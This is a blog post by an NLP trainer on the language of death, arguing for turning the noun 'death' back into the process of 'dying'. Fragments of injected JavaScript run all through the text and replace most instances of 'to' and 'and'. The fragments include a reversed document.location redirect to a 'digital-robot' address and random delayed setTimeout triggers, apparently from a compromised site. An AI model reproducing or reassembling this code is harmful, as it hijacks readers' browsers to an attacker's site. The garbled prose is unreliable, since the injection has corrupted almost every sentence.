I’m going dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} talk about something that people don’t much like dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} talk about. I’m going dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} talk about death. And in particular, I’m going dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} talk about the language of dying.
Death with a capital D
The word “death” sounds like a noun. A noun is a name of something, which is probably why death is often written with a capital D. And then, when we see the word written down like this – Death – we can’t help but think of Death as if it were a person. And a person that no-one wants dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} meet.
Mediaeval imagery has Death as the Grim Reaper. A hooded figure, lean, bony dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and skeletal, carrying a huge scythe with which dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} cut the ties that bind us dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} the ldom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and of the living.
Major religions including Judaism dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Islam feature an Angel of Death. This personification of Death shares many features with the Grim Reaper, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and is an evil creature dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} be feared.
Death, the Pale Horseman, is one of the four horsemen of the apocalypse described in the Book of Revelation in the New Testament. Death has authority dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} kill “with sword, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and famine dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and plague, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and by the wild beasts of the earth.”[1]
Death is a nominalisation
Using an abstract word as a noun is what NLP calls a nominalisation. Literally this means turning a verb (a doing word) indom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} a noun (a name). The problem with this is that the noun describes something very abstract, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and we lose all the specific information that helps us dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} makes sense of it.
Choose your words
Actually, we use two completely different parts of our brains dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} understdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and verbs dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and nouns.[2] Nouns are hdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andled by the left temporal lobe, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and verbs are hdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andled by the left frontal lobe. Nouns stimulate visual representations (which is probably why we picture death as the Grim Reaper), dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and verbs stimulate connections dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} body movements, action dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and ownership.
This is probably also why people prefer dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} say “death” rather than “I’m dying”. “Death” creates a picture that we can dissociate from, externalise dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and then ignore if we want dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}. “I’m dying” creates an associated response, a physical ownership dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and experience of the process, which might be uncomfortable dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and hard dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} ignore.
How dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} denominalise
For example, the word “communication” is a nominalisation. Your team might agree that it needs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} improve communication – but what specifically about the communication needs improving? We’ve lost the details.
To recover the details, NLP teaches us dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} ask specific questions dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} turn the noun back indom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} a verb. In the context of communication, these might be:
- Who is communicating?
- With whom?
- In what medium are they communicating?
- What are they communicating about?
And so on. In this way, the details can be recovered, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and the team can work out what, specifically, they need dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} improve about communication.
Denominalising death
In the same way, “death” is a nominalisation. By making Death a name, our brains audom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}matically ascribe characteristics dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} it as if it were an actual, tangible thing. By turning it indom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} a noun, we have made it abstract, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and lost a lot of the details. We have also lost ownership of it. It becomes something that happens dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} us, not something which we are doing ourselves.
One of the most helpful things we can do is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} start dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} turn it back indom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} a verb. This then gives us a process, which requires focus, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and clarity of outcome dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and purpose. Then we can take back ownership of the process, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and act with volition in the way that we interact with it.
- Who is dying?
- How are they dying?
- What is it, specifically, that concerns you about dying?
When we de-nominalise “death”, we can turn our attention dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} the process of dying.
And since we start dying the moment that we are born, we are really paying attention dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} the process of living.
And what about you?
How do you think about death? And about dying?
What happens when you change the way you think about it, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and see dying as being life-affirming?
About Madeleine Allen: The author is a specialist in Leadership, Communication dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Personal Development for business professionals. An NLP Trainer dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Master Practitioner she conducts in-house corporate training (learn more at www.allentraining.co.uk) dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and public courses in NLP (learn more at www.brightlightnlp.com)
[1] Revelation 6:7-8 New International Version
[2] a study by Perani et al. entitled ‘The neural correlates of verb dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and noun processing. A PET study.‘,